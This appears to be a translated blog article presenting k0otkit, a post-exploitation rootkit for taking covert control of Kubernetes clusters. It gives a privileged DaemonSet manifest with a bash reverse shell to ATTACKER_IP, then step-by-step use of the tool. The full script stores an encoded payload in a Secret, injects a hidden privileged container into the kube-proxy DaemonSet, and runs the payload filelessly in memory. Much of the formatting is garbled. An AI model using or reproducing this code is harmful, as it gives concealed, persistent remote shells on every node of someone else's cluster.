K8s Rootkit cluster control

Preface to the article

k0otkit is a general post-exploitation technology that can be used to penetrate Kubernetes clusters. Attackers can use k0otkit to quickly, covertly and continuously operate all nodes in the target Kubernetes cluster (reverse shell). The main technologies used by K0otkit There are the following:

  • kube-proxy image (taken from local sources)

  • Dynamic container injection (high concealment)

  • Meterpreter (traffic encryption)

  • Fileless attack (high concealment)

  • DaemonSet and Secret resources (fast and continuous rebound, resource separation)

K8S Penetration

Common K8S clusters are as follows:

Common K8S penetration paths:

Image of K8S penetration process:

Cluster control

We need to go through the following stages to control a Kubernetes cluster:

Web Penetration >> Privilege Escalation >> Escape >> Master root >> ?

If the Master at this time participates in Pod scheduling, then we can use the DaemonSet resource feature (if a Pod hangs, the DaemonSet controller will automatically rebuild the Pod) to automatically deploy a Pod instance on all nodes, and at the same time, the DaemonSet and rebound will be The shells are combined to achieve the purpose of rebounding the shell control node. The following is an example:

apiVersion: apps/v1</code><code>kind: DaemonSet</code><code>metadata:</code><code>name: attacker</code><code>spec:</code> <code>selector:</code><code>matchLabels:</code><code> app: attacker</code><code>template:</code><code>metadata:</code><code> labels :</code><code> app: attacker</code><code>spec:</code><code> hostNetwork: true</code><code> hostPID: true</code><code> containers:</code><code> - name: main</code><code> image: bash</code><code> imagePullPolicy: IfNotPresent</code><code> command: ["bash"]</code><code> # reverse shell</code><code> args: ["-c", "bash -i > & amp; /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0> & amp;1"]</code><code> securityContext:</code><code> privileged: true</code><code> volumeMounts:</code><code> - mountPath: /host</code><code> name: host-root</code><code> volumes:</code><code> - name: host-root</code><code> hostPath:</code><code> path: /</code><code> type: Directory

Usage examples

Step 1: Download k0otkit

git clone https://github.com/Metarget/k0otkit</code><code>cd k0otkit/</code><code>chmod + x ./*.sh

Step 2: Replace ATTACKER_IP, ATTACKER_PORT and the number of payload bits in the pre_exp.sh file

ATTACKER_IP=192.168.17.165</code><code>ATTACKER_PORT=4444

Step 3: Generate k0otkit

./pre_exp.sh

Step 4: Run handle_multi_reverse_shell.sh

./handle_multi_reverse_shell.sh

Step 5: Copy the contents of k0otkit.sh to the master node for execution (note the location of the kubeconfig file)

volume_name=cache

mount_path=/var/kube-proxy-cache

ctr_name=kube-proxy-cache

binary_file=/usr/local/bin/kube-proxy-cache

payload_name=cache

secret_name=proxy-cache

secret_data_name=content

ctr_line_num=$(kubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')

volume_line_num=$(kubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')

image=$(kubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')

# create payload secret
cat << EOF | kubectl --kubeconfig /home/r00t/.kube/config apply -f -
apiVersion: v1
Kind: Secret
metadata:
  name: $secret_name
  namespace: kube-system
type: Opaque
data:
  $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMD AwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODExYTU2ODAyMDAxMTVj ODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzB jYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjYwY2IwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF

# assume that ctr_line_num < volume_line_num
# otherwise you should switch the two sed commands below

# inject malicious container into kube-proxy pod
kubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
  | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\
 hostPath:\
 path: /\
 type: Directory\
" \
  | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\
 image: $image\
 imagePullPolicy: IfNotPresent\
 command: ["sh"]\
 args: ["-c" , "echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(> & amp; =).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork (); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))} '"]\
 env:\
 - name: $payload_name\
 valueFrom:\
 secretKeyRef:\
 name: $secret_name\
 key: $secret_data_name\
 securityContext:\
 privileged: true\
 volumeMounts:\
 - mountPath: $mount_path\
 name: $volume_name" \
  | kubectl --kubeconfig /home/r00t/.kube/config replace -f -

Step 6: Wait for the rebound shell to come back

Step 7: Perform interactive operations

Step 8: Escape and take control of the node

The knowledge points of the article match the official knowledge archives, and you can further learn relevant knowledge. Cloud native entry-level skills treeContainer orchestration (production environment k8s)kubelet, kubectl, kubeadm three-piece set 16743 people Currently studying the system